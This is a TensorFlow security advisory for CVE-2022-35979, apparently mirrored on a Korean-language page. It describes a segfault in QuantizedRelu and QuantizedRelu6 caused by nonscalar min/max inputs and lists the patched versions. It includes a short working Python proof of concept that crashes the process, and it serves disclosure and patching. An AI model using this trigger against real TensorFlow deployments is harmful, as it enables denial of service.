TensorFlow vulnerable to segfault in `QuantizedRelu` and `QuantizedRelu6`

GHSA-v7vw-577f-vp8x · BIT-tensorflow-2022-35979 · CVE-2022-35979 · PYSEC-2026-1038 · PYSEC-2026-3245 · PYSEC-2026-3372 · 갱신 2026. 7. 14.

생태계	패키지	수정 버전
PyPI	tensorflow	2.7.22.8.12.9.1
PyPI	tensorflow-cpu	2.7.22.8.12.9.1
PyPI	tensorflow-gpu	2.7.22.8.12.9.1

Impact

If QuantizedRelu or QuantizedRelu6 are given nonscalar inputs for min_features or max_features, it results in a segfault that can be used to trigger a denial of service attack.

import tensorflow as tf

out_type = tf.quint8
features = tf.constant(28, shape=[4,2], dtype=tf.quint8)
min_features = tf.constant([], shape=[0], dtype=tf.float32)
max_features = tf.constant(-128, shape=[1], dtype=tf.float32)
tf.raw_ops.QuantizedRelu(features=features, min_features=min_features, max_features=max_features, out_type=out_type)
tf.raw_ops.QuantizedRelu6(features=features, min_features=min_features, max_features=max_features, out_type=out_type)

Patches

We have patched the issue in GitHub commit 49b3824d83af706df0ad07e4e677d88659756d89.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

TensorFlow vulnerable to segfault in `QuantizedRelu` and `QuantizedRelu6`

TensorFlow vulnerable to segfault in `QuantizedRelu` and `QuantizedRelu6`

영향 받는 패키지

원문

Impact

Patches

For more information

Attribution

출처